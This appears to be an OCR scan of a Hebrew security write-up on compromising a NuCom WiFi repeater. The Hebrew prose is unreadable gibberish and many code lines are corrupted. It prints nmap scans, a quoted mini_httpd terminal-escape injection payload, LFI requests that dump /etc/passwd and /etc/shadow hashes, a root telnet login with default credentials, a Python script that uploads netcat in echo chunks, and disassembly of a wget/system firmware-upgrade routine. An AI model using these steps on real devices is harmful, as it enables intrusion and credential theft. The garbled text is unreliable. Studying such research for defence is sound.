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CVE-2017-8770 - Local File Inclusion.

CVE-2017-8771 - Command Injection through WAN.
CVE-2017-8772 - Default Login Credentials.
CVE-2017-13713 - Command Injection through HTTP.
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C:\Program Files\nmap-7.01>nmap -sn 10.100.102.0/24
Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-20 11:17

Nmap scan report for 10.100.102.1
Host is up (©.031s latency).

MAC Address:

Nmap scan report for 10.100.102.17

Host is up (©.00s latency).
MAC Address:

Nmap scan report for 10.100.102.51

Host is up (©.00s latency).

MAC Address: (NuCom HK)
Nmap scan report for 10.100.102.7

256 IP addresses scanned in 3.33 seconds

:Ping NP0 Niy¥nxa 117w LAN-N nwN nint'e 1P NIAUmd 17'R 072,22 0TIp .nhynw nn'wna

YT QN7 nin 7y ,11ar¥? nnonisw NI NIYIADN 190N NX Ax'n WK ,Common Vulnerabilities and Exposures - CVE Numbers 2
LTIVE,DN'Y 07 :120 ATITIR
Man Niwa NYA NIan DN R AN7IYS 1T .DawNnA NYNa DN'WIE D'ANNNA 1737 Twnwnn DA Do Ndm - Nmap
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-0 NaMd v n'Mnnnn Namd 1Nt 9"i ,10.100.102.7 NWA NAINMDA XXM 117W QDN 1D XXN)

DX D71 - (2217 22102 DAY ,N1'o nnan) 'NuCom HK' nan? nd>v'ww Naimid it Nin ,MAC

NIn
&% NuCom HK Ltd.
ID: 13597

Vendor NuCom HK Ltd.
Vendor code nucom_hk_ltd
Addresses Unit B 11/F, Eton Bldg, 288 Des Voeux Rd. Central

Hong Kong Hong Kong 00852
Country China
Country code CN
Assigned MAC range format 1 format 2 format 3

78 D99F0OCKKIXK 78-DI-IF-XX-XX-XX 78D9. 9P XXKK

TNIVXNN] 10" 2101 NIROYAN NIN'XYN ,D'0NI9N NPM0 277 1'wnin® 7211 ,17W NaImdn 'Y ,nyd

:Nmap "70aw A-n T

C:\Program Files\nmap-7.01>nmap -A 10.100.102.52

Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-20 11:27
INmap scan report for BE126 (10.100.102.52)
Host is up (©.0032s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
23/tcp |open telnet |BusyBox telnetd 1.0
open http mini_httpd 1.19 19dec2003
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1050/tcp jopen http mini_httpd 1.19 19dec2003

HTTP/1.1 401 Unauthorized
_ Digest realm=dirname nonce=d90c940280ccbedfc89c0c6edb7f701b uri=/ qop=auth opaque=0123456789987654 algorithm=MD5
_http-title: 401 Unauthorized
MAC Address: (NuCom HK)
Device type: WAP
: Linux 2.4.X

: cpe:/o:linux:linux kernel:2.4.
0S details:| DD-WRT v24-spl (Linux 2.4.
Network Distance: 1 hop

36
36

)

ADDRESS
3.24 ms BE126 (10.100.102.52)

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.11 seconds

IC:\Program Files\nmap-7.01>

[nnmna nr 'wn o7wnn? wr ,DHCP-> INNTan 2y 52-7 51-n 17 nmnwn IP-n N2md - np'1an 770N ' m]

D N7 N1
.Kernel 2.4.36 N0OY'a NNN NXY WK ,Linux 21010 XN n7¥90n ndvn a0 .1

.BusyBox telnetd 1.0 In01'a1,23 0I92 Telnet NIN'W 90N V'WiINNW NIXY? N1 .2

Man in the N9pPNN NIWYXNANRA NI - [9¥IN X7 717101090 VTN Telnet 7170NdY |"X7 W
AV NIavynn NX 91007 N1 LAN-n nw1a Middle

.mini_httpd 1.19 no1'a 2y ya Web-n pwnnaw HTTP-n nn'w .3
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MANN2 NIYAD NIAY DRI LYRA9) ATAN mini_httpd 1.19-n NN D X¥N1 ,M07 D' T2 INKY
:Exploit-DB

Home Exploits Shellcode Papers Google Hacking Database Submit Search

mini_httpd 1.18 - HTTP Request Escape Sequence Terminal
Command Injection

EDB-ID: 33500 Author: evilaliv3 Published: 2010-01-11
CVE: CVE-2009-4490  Type: Remote Platform: Multiple
Aliases: N/A Advisory/Source: Link Tags: N/A

E-DB Verified: & Exploit: & Download /[ View Raw  Vulnerable App: N/A

« Previous Exploit Next Exploit »

source: hittp://www.securityfocus.com/bid/37714/info

Acme 'thttpd® and ‘mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplisd input
in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects thttpd 2.25b and mini_httpd 1.19;| other versions may also be affected.

curl -kis http://localhost/®1bK5d%32%3bR6TH77%6e%65464%07%0a

echo -en "GET /\x1b]2;owned?\x@7\x8a\x8d\xBa\xad" > payload
nc localhost 8@ < payload

Web-n nn'w? HTTP nwpa nn'yw T ¥ Command Injection y¥27 117 NMWOKRN IT NIV'AD

.cURL 750 niy¥xnxa
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Web-n punn? nnannn

T 'R 12NN L7101 pwnnd wnwn WX GHTTP 71710092 80 01192 |'TRA 2ADINY 117w TNKY

‘17221 Chrome [9T9T

Password: |

Remember my password

Login

YN 197 DI root ,admin 123 - 7TNNN DTN NINTTA 'O19 DY 12ANNNY 710 DT N0V |amd

.Inxy pwnnn 2y Brute Force y¥1Y

1n1192 nNNIX - Xno'on NaMA ‘admin' NYUENY [1'011 INXT

Connection Wizard

% Set-up
“ Click the Start button below to begin connecting the WiFi Extender to your broadband hub/router.
4 Advanced -
A ‘Wireless Connection to Router/Hub

J

|
‘)@Sysh;mi | Wireless network/SSID

|

Xinternet_5
. Wireless security WPA2-PSKIAES]
= Logout Connection status: Connected

Extender Wireless Network
2.4GHz Wireless network/SSID
2.4GHz Wireless security
5GHz Wireless network/SSID:
5GHz Wireless security

Xinternet_5_2GExt
WPA2-PSKAES]
internet_5_5GExt
WPA2-PSKAES]

Start || Refresh

NX7N NTAY |2 Proxy-d Wnwn YUK 75 - Burp Suite 701 1TV ,pwnnin NIYpA DX NIEn? nan 7y

.nxy amn 17 Ny
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,NRN UMS5NA VIV'Y NYA .NIYN [T NIN7wIY HTTP-N NIYPA DX IPNNY7 751 250 nama

7w HTTP Request-2 1avIin CWK 'getpage' DWA TIWN T0UNT9 NN |2 701 TWUR T DY D DKM

QTN MIX
E Burp Suite Free Edition v1.7.17 - Temporary Project [m| X
Burp Intruder Repeater Window Help
[ Target T Proxy T Spider T Scanner T Intruder I Repeater I Seguencer T Decoder T Comparer T Extender T Project options I User options I Alerts ]
J tercept T HTTP history ]’ WebSockets history ]’ Options ]
# | Requestio hitp./s10.100.102.75.80
l Forward J l Drop J [ Interceptis on ] Action Comment this item == ?

Raw | Params | Headers | Hex

GET /cgi—]Jin/we]:proc?Eatpage=fetcfpassvgll&errorpage:htmlfmain.html&var:J. TLEMn L USEVAr: upivar: login=trusivar:page=wizard
HTTP/1.1

Host: 10.100.102_ 75

Cache-Control: nax—-age=0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4) AppleWebKit/537.3& (FHTML, like Gecko) Chrome/E0.0.3112.90 Safari/537.36
Upgrade-Insecure-Requests: 1

e

Accept: text/html,application/xhtmltxznl,application/xml;q=0.9,inage /webp, inage/apng,*/*;q=0.8
Accept-Language: he-IL he;gq=0.8,en-U3;q=0.6,en;q=0._4

Cockie: sessionid=4a8d5he3; auth=ck; expires=Sun, 15-May-Z117 01:45:4E GHT; langmanulset=yes; sys_UserName=admin; expires=Ion,
31-Jan-Z2112 1&£:00:00 GHT; language=en_us

Connection: close

D'¥ap X7 17 NMwWoNN YUK LLFI - Local File Inclusion a10n NIyas 1w D 1IX¥N AT 10N19]

.InXy 1570 1NN 0'n'1s

D'YNNYNN NINY NIX 75N UK ,12 D21y D'97INY Yalp - '/etc/passwd' Yalp NX XINpP?7 non

:Linux A10n N7Y9NN N>IWN2 D'R¥NIY D'NINN

I, Burp Suite Free Edition v1.7.17 - Temporary Project

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner I Intruder I Repeater I Sequencer I Decoder T

_[ ntercept T HTTP history TWEhSDCkEﬁShiSTDW T Optionz ]

Response from hitp. /10,100,102 74, 80scgi-binswebproc: getpage=retcspazswdaerrorpage=ht

[ Forward J [ Drop J [ Interceptis on ] Action
_[ Raw T Headers T Hex }

HTTPF/1.0 200 0K

Content-type: text/html
Cache-Control: neo-cache
set-cookie: sessionid=55850ees;
set-cookie: auth=ok;

set-cookie: expires=5un, 15-May-2112 01:45:48 GMT;

oot :x: 0:0:root: froot: fbinfbash
oot x:-0:0:root: froot: fhinfsh

o 504:-504: - fhome ftw: fbin/bash

wix:504:504: : fhome ftw: fbin/fmsh

.Burp Suite "22n niyxnxa HTTP-n nwpan NTINY (Response) N2IWNN DX NIKY7 N1 .1anY¥N
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INYNIY NOYNN 'wnnun ¢ n'-Hash-n NX 790 (WK '/etc/shadow' yaly NX XNp? nyd> no1

:'/etc/passwd' yalpa

.root - NINNA NIXKYIN DOV UNNYN NIY¥XNXl N NI'\|7'7 N AT YAl NDXRY |"X'7 U

17X NINYNN DY wnnwn NNN Y1 Web-n NNy Y1 12w httpd-n "720nw iz - i

‘ Burp Suite Free Edition v1.7.17 - Temporary Project
Burp Intruder Repeater Window Help

[ Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer | Extes

_[ ntercept T HTTP history TWehSnckets history T Options ]

Response from hitp: ##10.100.102 74 80/ cgi-binswebproc: getpage=htmlindex. htmlxerrorpage=htmlmain. htmixvar

[ Forward J l Drop J | Interceptis on | Action

Raw | Headers | Hex

ATTESL.0 200 OK

Content-type: text/html

Cache-Control: no-cache

seb-cookie: sessionid=558595ee;

set-cookie: auth=olk;

set-cookie: expires=Sun, 15-May-Z117 01:45:48 GHMT;

Hroot: $15E0¥YMmz SKq5ePIEPSpROGeBcZj1EeLgl. - 13 796:0:99999:7:- - :
root : $15B0Y¥mz SKq5e PJEPSpkQGeBcZj1EeLgl . - 13T796:0:9999%:7: - :
Htw: 5152xEm2v605qEbP fojsrrE fYkaqhmTgV/ - 13796: 0:99999:7: :
#tw: $15zxEm2v60SqEbP fojsrrE /[YkegqRmTgV/ - 13 796:0:99999:7: : -

...root NIXWAN NNN Y1 nn'wn PR © | nn'xan

Shadow Yalja IN¥mIw D'-Hash-n > X¥n1 ,'Rainbow Tables' a10mn Naxn 7im V1VI'KA NPT NKT

:Plain Text-> Xn0'0n NX 72771 ,0NIX NYS7 [N NI 371 ,MD5 a10n 0N

$13B0YmzSKqSePEPSpkQGeBcijlEelql

$15zxEm2v6QSqEbPfojsE/YkzqRm7qV

D'YpANN X 'O nXM] 17X 1N vyl ,23 0oA telnetd NIN'W NIND QDN D 117 INNY

:NNO0'0I WNNWN DY NIVXAKN NINTINY

C:\Users\Hay>telnet 10.100.102.52

‘none) login:
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www.DigitalWhisper.co.il
8 2017 "2anvd0 ,86 |I''2




“Technologic o

:LFI nIy'a9 NIapya n72un? 1IR¥NY NINTTNN '019 DX 01017 No1

B Telnet 10,100.102.52
(none) login: root

Bus 83 HKT) Built-im shell (ash)
Enter "help® for a list of built-in commands.

wx (“Almquist Shell) ash aion (Shell) novyn N72'71 ,root YNNWND MMANNN ,NIKY? [NV IND

© np102 117 NI7A%7 N'7¥n Nmap-w 193 *BusyBox 7V Y1

CLI-n pwnn nm'n

help NITIZ9 NIW¥NXA NXY 2N 720 Nt IR 17K NPT ,CLI-N pwnn nnannnn InxY?

NN NIINNhaY

B¥ Telnet 10.100.102.62
# help

Built-in commands:

« : [ [[ alias bg break cd chdir continue echo eval exec exit
export false fg hash help jobs kill let local pwd read readonly
return set shift source test times trap true type ulimit umask
unalias unset wait

:v1.6.1 N011A2 Busybox-n 2127 Y1 1I'7W 1D NxM)

e source

busybox [function] [arguments]...
[function] [arguments]...

x is a multi

h to use and Bu

like whate

getopt, grep,

.POSIX NoVLN 7w 7011 win'm 7y 72 L Linux-1 D"j7w NDVYN 7w 0N 10 - Almquist Shell *
,T'XNTIX ,Linux DN2I NRIW NI202 71W9Y7 N7 X . TNX NN Yaipa Unix DITIPoI 077 190n Nzoonn N'dIn X4 - Busybox °
.TIVI FreeBSD
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"testme’ » file
cannot create file: Read-only file system

.1272 Read Only file system-> nTam X' D N7 N1, 10X

22w DT 1'0" MW7 X ,BusyBox-n N9'pY T 7Y 1T N72an qipy7 11'on

W' OXN P1T2] NNIVXNXR] TUNR ,mount6 NTIP9 NX¥IN 12 NMYOINN |'"TY ,CLI-a D'722I1 XY NINNY

2IMD7 [N DN'7RY NID0I1 0¥ NIdYN
BusyBox v1.6.1 (2015-82-89 21:59:083 HKT) Built-in shell (ash)
Enter "help' for a list of built-in commands.

# mount
rootfs on / type rootfs (rw)

/dev/root on / type squashfs (ro,relatime)

null on fproc type proc (rw,relatime})

tmpfs on fvar type tmpfs (rw,relatime)

none on /sys type sysfs (rw,relatime)

devpts on /dev/pts type devpts (rw,relatime,mode=6060

:INQN NN'YO NIVIIDN WK ,NIDO0N D'¥AR NIDIYNA 6 1221V D R

.Embedded ninyna win'wa nk¥xniw Read Only 0'¥aj7 Ndwnd NTaM - Squashfs .1

,[N2'T ,0"0N 2V YT 12D Runtime System Information Nn%? nTynw n'¥ap nd>wn - Proc .2
11 ,nmin

NNY' X7 1T A"P'Na D'Y¥aARD WO D NR? i tmpfs aion o'vap ndwwn - Var .3
Apnnt

[12D User Space-7 Kernel-nn yTn 1avn%? nTyvinw ox¥ap ndwn ,sysfs a1on ndvn - None 4
.Kernel Modules IX ,02a" TN 7V Yy

.N7Y5NN Nd>Yn DY N7 *13 Pseudo Terminal Devices NZ90N TWKR 0'¥a7 NDWN - Devpts .5

D'¥APN NDWN IRYY 11D ,'/var’ D' RN 17V 27 [Ny TR DIpnn - NIKNY NAY 19D

.0'¥2p DN JONKY 1TV K71 Kernel-n NITIX YT 7907 1TV [0 RW-> NN

.17 N7U9NN NDIWNA DAY D'¥AF NIDAWN 17K NIKAY 117 NNWOKRN IT ATI - mount °
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EX Telnet 10.100.102.63

# cd fvar

# echo '"testme' » file

# 1s -1 file

-MW-r--r-- 1 root 7 Jan 1 13:45 file

0'9T'I WNNWNNN VY 727" TWUN ,MIdNAN 7V 112NdW VIYD Bash V970 YIN? NO1 ,N7I>' NNJIND
Jonn 7y INIX

#f cat script.sh
MAME="hello"
echo

echo $NAME

H

.01DINY V7PN WNNWNY? 0'9TNl,TAIY UOMIZONYW NXIY ,NXINN TNKYT

YNN7 072100 NIFMY7 012*1YN 11X ,0'09170 N2 YNINTIIT D'¥A NDIYNYT MDY INIY 11'7'aW TNKY
NIM901 YIN'Y |12 N'2I'¥2219 072211 1INIX 17X D'UDRP0AY |11 ,A10 7y n7un 79n1pm TIp
.(netcat :XnAIT?) Mxy 2O 7w oMt X7 DN DX YON? 20 X7W DI DY7D XN IX

2270 INIX 7W Taynn 10 DR NPT N7'NN 79010 TR yn? nan 2y
# cat /proc/cpuinfo

system type
processor

cpu model

BogoMIPS

tlb entries

mips1l6 implemented

.01V qon VTN 'Y woN? nol LRTL819xD ion Xin 17w System type-n 210 'D K¥N]
,Github-1 'rtI819x-toolchain' bwa LEND D" D IXXN PNYNOAY ,TAVNN DY 7 WID'N INKY7

1370 X 1’7 PRNONY NIN'ON N7 v 0w SDK 7'on ©1wR
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:0'9011 D'IN0NI D'TAYNN NITO 7w ‘Toolchain-1 1"y nxw Oj712'70 NXON NX 770 XIn AN 2

O Features Business Explore Marketplace Pricing This repository Sign in o1 Sign up
I frederic / rtl819x-toalchain @watch | 2 | dsar 0 YFork 24
<> Code Pull requests 0 Projects 0 Insights
L1

E:I Join GitHub today Dismiss

GitHub is home to over 20 million developers working together to host
and review code, manage projects, and build software together.

rtl819x-toolchain-v3.2.3 - Linux SDK for ALFA AIP-W512

D 30 commits ¥ 1 branch 0 releases A3 1 contributor

1
Branch: master « Find file
Bfrederic update README Latest commit 5c9be5d on 24 Mar 2014
| boards fix mkimg : all files owned by root 4 years ago
| config rtl319x-toolchain-v3.2.3 4 years ago
i linux-2.6.30 rtl819x-toolchain-v3.2.3 4 years ago
| toolchain rtl819x-toolchain-v3.2.3 4 years ago
[ users fix ettercap configure script, disable pcre support 4 years ago
[E .config build config for RTL8196E_88E, with tcpdump & dropbear apps 4 years ago
[E) .config.old build config for RTL8196E_88E, with tcpdump & dropbear apps 4 years ago
[§) .oldconfig build config for RTL8196E_88E, with tcpdump & dropbear apps 4 years ago

N¥INN yaIp IR 11avn? nf7¥a ox Al 09w T Cross Compile wxa% 7o11 toolchain-n narva

JNIX YINT 7511 - 2077 (Kan 77na) nanow

WP TN 790 KN 2T NM2IM YW My I NN NIDIN DM NIN'wn pixaY D'WNNwnn NRdN 7 7w 0o - Toolchain 7
TIVE NIN'AY D9IN ,NIMD0

Yy C NOWA TR Y9077 XKNAITY .2 NNIIDLYD 7V YW 13 'K NNAID0YS Yy TI 7907 72100 AWK Tnim 17woniy - Cross Compiler
ARM M10j70'2X2 Linux 2y Y7 1w 7 oim'il
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a1 n'¥azn nnayva

7901700 XN DX DIN'Y MIYTRORN ¥ 11vn? T OTIPN N Echo N9 wnnwin i
N7 n713' 2m yaiz naynl on 4000 TV XID 2D Do NTIRD 7T i R Y
N Yalzn DR Y'Y '0NI0IR Python V90O 11N NTIAWYN DX V"7 2w D7 ,MINY ATy

Baliral

T 200 1Y IRYNAY SDK-n Dy 17W 7190 NIYYAR] DX 7w TiIg 12 1'avn’ 'on ni'o

import getpass
import sys
import telnetlib
import binascii;
import time

T

Created by Hay and Omer, WIFI Repeater Research @ 2017
ascii_art = """\
I I /ol
[ I e I N I I
L0/ _ NN N U TN N
2 A I /o e NN/
| I\ (I B B N | N O T P O e /1 \ ||
print ascii art
def getInputs() :
HOST = raw_input ("Enter your remote ip: ")
command = ""
user = raw_input("Enter your remote account: ")
password = getpass.getpass()
return HOST, user, password
def openTelnetConneciton(host, user, password):
tn = telnetlib.Telnet (host)
tn.read until("login: ")
tn.write(user + "\n")
if password:
tn.read until("Password: ")
tn.write(password + "\n'")
return tn
def writeCommands (tn) :
formatted file = ""
MAX COMMAND SIZE = 4000
tn.write("cd /var\n")
filepath = raw_input ("Enter your local file path: ")
remote file name = raw_input ("Enter your remote file name: ")
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print "reading file"

file = open(filepath,'rb")
file content = file.read()
file.close()

print "converting file to \\x%2 formatted style"
hex file = binascii.hexlify(file content)

for i in range(0,len(hex file),2):
formatted file += "\\x{}".format (hex file[i:i+42])

chunk size = MAX COMMAND SIZE - 17 - len(remote file name)
chunk size -= chunk size%4

print "begin transfer file"

for i in range(0,len(formatted file),chunk size):
command = "echo -n -e \"{}\" >>
{}".format (formatted file[i:i+chunk size], remote file name)
tn.read until ("#")
tn.write (command+"\n")
got to = i + chunk size;

if got _to < len(formatted file):
command = "echo -n -e \"{}\" >>
{}".format (formatted file[got to:got to+len(formatted file)%chunk size],
remote file name)
tn.read until ("#")
tn.write (command+"\n")

tn.read until ("#")
print "waiting to last transfer to finish"
time.sleep(3)
tn.write("exit\n")
print "transfer sucessful"
if name == " main ":
host, user, password = getInputs()
tn = openTelnetConneciton(host, user, password)
writeCommands (tn)

TIpn v
2'277 72NN DN'R NINTIAN '019 DX YNNWNNN 0770 7271 NN'R WK - getinputs Nxj710 .1
.Web-n pwnnawv Local File Inclusion-n NIy'as NIY¥NXA 1aWN DNIX WK ,V'A9N

NINTTAN '019 NIY¥NKA telnet 11IA'N NND1 NNIWYNKA - openTelnetConnection N"yjIo .2

.getinputs N'¥j71192 NVPY

12717 11yl DNIK D1IY 0'-Chunk-7 yaipn Npi7n 7v N'RINK YUK - writeCommands Ny .3

N

7w NI Ny NNNn - If . _name_ =="__main__
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09"pOoN NXn

- N7 ,97IM 7 9w 00 710K R¥n) WK YD - Netcat bwa 75 2017 1ava L,PoC nnaim
120 0T NIYYT N1 INATYA "QEInn 7w xiwn 17iIRn"

D'¥2p NNayvn

Reverse Shell yix'a

tunneling Ny

079 V77 NNavn

o W N

n'oIo N0

BN C:\Windows\System32\cmd. exe

Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

I
|

Enter your remote ip: 10.100.102.100
Enter your remote account: root
Password:

Enter your local file path: netcat
Enter your remote file name: netcat
reading file

converting file to \x%2 formatted sytle
begin transfer file

waiting to last transfer to finish
transfer sucessful

C:\Users\Hay\Desktop\BEEE BESEEE BEEEES BEEEES

DIIYPNN 277 Yalzn NAvN IXY ,n¥pn DTy v TIign NN
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I¥'IN7 N1 ,NN7¥N2 12y Yalpn D AR telnet 7171019 0T 2017 12NN Navin Yalpnw NRY

AN Y

B Telnet 10.100.102.100

(none) login: root

Password:
BusyBox v1.6.1 (2015-82-89
Enter "help’ for a list

# cd fvar
# ./netcat -h

GNU netcat @.7.1, a rewrite of the famous networking tool.

Basic
connect to somewhere:
listen for inbound:

tunnel to somewhere:

usages:

/netcat -1
fnetcat -L hostname:port

21:59:82 HKT) Built-in shell (ash)
of built-in commands.

./netcat [options] hostname port [port]
-p port [options] [hostmame] [port] ...
-p port [options]

Mandatory arguments to long options are mandatory for short options too.
Options:
--close

ceC=PROGRAM

-,

gateway=LIST
--pointer=NUM
--help

interval
--listen
--tunnel=ADDRESS : PORT
- -dont-resolve

output=FILE
--local- vE=NUM
==randomize

source

SECS

close connection on EOF from stdin

program to exec after

connect

source-routing hop point[s], up to 8

5 e-routing pointer: 4, 8,

display this help and exit

2
Ly wswo

delay interval for lines sent, ports scanned

for
1 port to re

mode ,

list
0 d 1

inbound connects

address

numeric-only IP addresses, no DNS

output hexdump traffic to FILE (implies

local port number
randomize

x)

local and remote ports

local source address (ip or hostname)

© 21N 7V netcat 17 v

- NN IXXIN DY DY9)I NITIPOY |11 ,NT 2077 NIV NARNIN WX O|7I]"7 NnoN'aa NaIrmv i

NXINI NN NIZD 17 W' - i X 7w arn 73 9 11wl NNNDY 090N NIYYNNKA

270 7V NIN'M NIKWANA n'x1y?

16
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NIV TY ¥ 2INXY noTNn

NIS0I1 NI'NY'AD TIY KIXNAT7 7212 DRN NIXAT T21 201N N7IYVD DX 7'yn NI [DIXA Fan? nan 7y
AINX? 0TINY 107NN ,WAN-N 70T 20 7 N0 (120,271 VITYWY? N9YW N71D'N DX 17 TA WK

200N Y wnnunn punn 7w nwn T Ni7'al? N

2010 NINT .0'¥APN DIP'M WI9N NIYXNNA ,2'70 7V NINYNY MW TY Nial? AT A7'NN 717
-0 NN'W DX N7WONYW ATIRON MY NX 117 AXIN WK LLinux-1 ps TP win'y T 7y niwyY

-httpd

B Telnet 10.100.102.29

) login: root

ox vi.6.1 (2815-82-89 21: HKT) Built-in shell (ash)
"help® for a list of built-in commands.

uvid 5Z Stat Command
oot 24 SW  init

: L SW< [kthreadd]

3 root S« [ksoftirgd/e]
root SWe [events/a]
root SW¢ [khelper]

5 root Sk< [async .

7 root SW¢ [kblockd/e
T SW [pdflush]
root Sk« [kswapda]
SkW¢ [mtdblock
2 SW fmini_httpd -d fusrfwww -c¢ fcgi-bin/* -u roo
*/sbin/inetd

Jflog/sysevent.txt 12192 Sfvar/
root
@ root '- d -start -c cd-wlan@.cont -w wlan
| d -mode 2 -¢ Juscd-wlan@-vxd. conf -w
wlan®-vxd

"MITAY 'AN7 WWOR NYpMn DY 971, /usr/www/cgi-bin' 2'M1a pnonIXn D'¥AENY NIKYT N1

.cgi’ v

web '9T wnanY T NIMKIA NIYP79KR YNk http 'MWY? WwWOXNY 1710Nn9 ,Common Gateway Protocol - CGI°
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:'Jusr/www/cgi-bin' n"p'nn |pIN2 70N0)

B Telnet 10.100.102.28

i/ Cgi-bin

webupg

VLY 2YUNNYNN PYNN A71IV9 NT'K7 WWIPN YAl TR YT 'R IR ,0¥A7 Y XD 17 W'Y KM

ANTY N71Y9 bYNY ,webproc YaIP? NKIIR PYNNaY n71V9 70 LYNOW X1, Web-n pwnna jamod

.webupg Y2177 nxIpw firmware-n

1901 N'Y7N IXY DTN 1NAYNY netcat "2 win'y T 9 117w 2WNNT D'¥aApn Y DK 1)

n'v'an oy Ny

DdN IoN1 P71 |"yn NQT DIW X¥N1 X7 X webproc yalp NX ngT 'pnn 70N 170NN

.webupg - DWUN YaIpa Tpnnal LI DITpnnn

|2 1D .NIR NINT?I NIND7 N'7¥n KIN D XML DA INIK NINDY N011 webupg NX 117 ww ,nyd
NINYY D NIAPYA MINK? NOTIN Y¥aA? 117 WYY NN NIY71190 NIy 0y 79017 Tignw 17 0'ea

.0"NYI NI'X2115n

:DNN NNd 7V 7DN0a1 ,0Mvn strings DIW' OXN 7172]

sodata:00405F... 00000039 upgrader -¢ %2 -p %8 -u % -w s = Avanfupgrader.log 2> 81

rodata:00405F... 00000005 1.1
sodata:0005F,.. 00000009 password
Jsodata:00405F,.. 00000005 pott
Jodata:0405F... Q0000004 image.img
sodata:00405F... Q0000009 hatp/f

sodata:00405F,.. CD0000E0
rodata:00405F... OD00006S
rodata:004060... 00000016
sodata: 00060, 00000015

ed Searfusibingdwget --no-check-certificate hitps:// % % % -0 imageimg > fvanfwgetleg 2> &1

ed Mvarfusibindwget - Ao~ heck- cerbficate h'l‘.lps:.".l’%::%s@%:: el%s -0 imageamyg > /varfwgetlog 2= 81
mn fvarfimage.img =

m v r.-'n'.gﬂ.ll;-g =rf

Jedata0E06D,.. DODODO0E fvarfwgetlog
sodata:i4060... DDO00D0S 100%
sodata:004060... 0000000 hatpeff

sodata:004060.. O0000043
rodata:004060... ODO0O0JE
rodata:004061... 00000006
Jodata:D061,.. 00000007
Jsodata0061,. COp0004T
sodata:004061... ODOOONMD
sodata:00E061,,. 00000044
Sodata:004062... 00000015

ed Searffusibingdwoget hittpe % %e%s -0 imageimg > fvarfwget.log 2= 81

od Svarfusnbngwget I'l'l‘lpql’.l"ﬁ*&s:%s-@%s:%sf'&s =0 Image.mg > .'".-ar.-'wgdjn-g 281
saved

{140

od Svarfusnbind wget fitpa// % %5 %5 -0 image.img =/varfwget.log 2= &1

od fvarffusnbindwget ftpaf 9 %l 3 %a%s -0 imageimg > Aanfwgetlog 2> &1
Just/bin/thp -g -r % -1 fvarfimageimg 3% % = Avarftitplog 2> 81T

i Svar/titplog -d

#/bin/sh\n s

EIEIEIEEIEEIEIE EIFEIEIE E E EEEELE

O lalaaEila el e lala el aEaEalalalala s aEaNal

|
|

22N 2V NITIRD NXINY NINAND DRI AINY YAXI DWATIAW strings-n 72 NIKYY [N 1D
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NYIDIN KN TIRA P ITA

,http NN NX ¥' NAW NTNNNN DX [N

- = - =

Lui £32, mxan # Load Upper Immediate

11 §al, mxion # maxlen loc_ NOACCE: B Store Word

s Sui, Bx15@+First_stack_space(§sp) 8 Store Mard sy ad, BiS@+sprintf_secao arg_stack{$sp)

la $az, acdvarUsrBinW_1 ¥ “cd Juar/;/fusr/bindwget DLEp://isiXssts .| |move $a3, §a1

jair $t9 ; soprintf # Jumy i tegister Tui §az, mnp % Load Upper [mmediate

su Swd, BxiS@esprintf_second_ Vor 1u $ai, BxiS@spassword{$sp} # Loa

b loc_uBuCF@ § Branch Always la $a2, aCdvarUsrBink_2 ® “cd Juvar/;/fusrs s

nop Su $ul, Bx1SBesprintf third_arg stack{§sp)
54 §a1, B1S@sFirst_stack_space($sp) = 5t
1i $a1, Exipn # naxlen
jair §t9 ; snprintfé  ® Jump And Link Register
54 Sub, Bx150esprintf_fourth_arg_stack($sp) o Store Word

vy

e =

Loc_KONCFB: o Load §

1w gp, E150eqp_value(§sp)

lui al, Exhi # Lo fate

1a t9, systen §

jalr t9 ; systen "

1a am, -

lud am,

1w gp.

la t9, system % Load Add

jalr S0 ; system ® Jump And Link

la Sa0, alsVarbget_legR o “rn / Jdeg -rf"

1w Lgp, B15@sqp_valueldsp) ® 1 o

la £t9, system ¥ Load Add

jalr t9 ; system o Jum in gister

atdiu al, Ssp, Gx150esyste

bnei wi, loc_W@RDTC @ A ero

Lui ul, BxhhD § Load Upper Immediate

‘_I —

NUX91 nYnivn aTivnn nTnnnn D 17 'y n>'any 'V TN, TIYN INWYN KD Y'Y nK1)

Isystem N'¥j72197 10N9D N2YIN NYRAION VYO [N INKRYIL,DMVNIS NND OY snprintf

[9IXQ TIZ NXIN? TYN N9 17 W', wnDwnn 7Y 070 0N IT DY72197 DNAYINY DN0N9NIE NTAd

-globl UPG_HttpProcCtrl
UPG_HttpProcCtrl:

first_stack_space= -8x148
sprintf_second_arg_stack= -8x13C
sprintf_third_arg_stack= -06x138
sprintf_fourth_arg_stack= -8x134
gp_value= -8z138

url= -@2128

user= -@z124

password= -8z128

port= -8211C

dir= -8x118

system_command= -8z114

var_C= -8xC

Flow-n NX pITA7? TNl ,NY) .7NNN

DD 1R NIKN? T NDIMn Y
1INIX DXNI snprintf N"¥j1197 0'012)
NXN1 TIUNN 700 .00 VI7YY7 D7D
ny'on) HTTProcCtrl Dwa n'¥jIo1

DININ DN Y VoY L (TNNWn

var_8= -8 .
var_i= -4 Nkl
addiu sp, —-8x158 # Add Immediate Unsigned
Su ra, l]x15l]+uar_!|($sp) # Store Word
Su =1, l]x15l]+uar_8($sp) # Store Word
Su =@, l]x15l]+uar_[:($sp) # Store YWord 1 1 1
1i gp, 8x41E368 # Load Immediate bwa A XP]ID XA N x,‘mgn n7’nm
su gp, Bx158+gp_value($sp) # Store Word
move a1, $zero ftc IX ,'1|an7 1NOTIN NNIX DAY FtpParse
la t9, memset # Load Address
1i a2, ex100 #n “n . .
move sa, $ab D'V NN V70 NN R'NY T2 X7
jalr t? ; memset # Jump And Link Register
addiu aa, ssp, l]x15l]+sys£em:command # s D"MVNION '7w ODIVN NONIN' DN
la vA, a8 # 80
addiu aa, $sp, Bx158+url # url_ptr
su uB, Bx158+port(§sp) # Store Vord Url, Port, Username, Password, :D'Nan
addiu al, $sp, Bx158+user # user
addiu v@, $sp, @x150+dir # Add Immediate Unsigned .
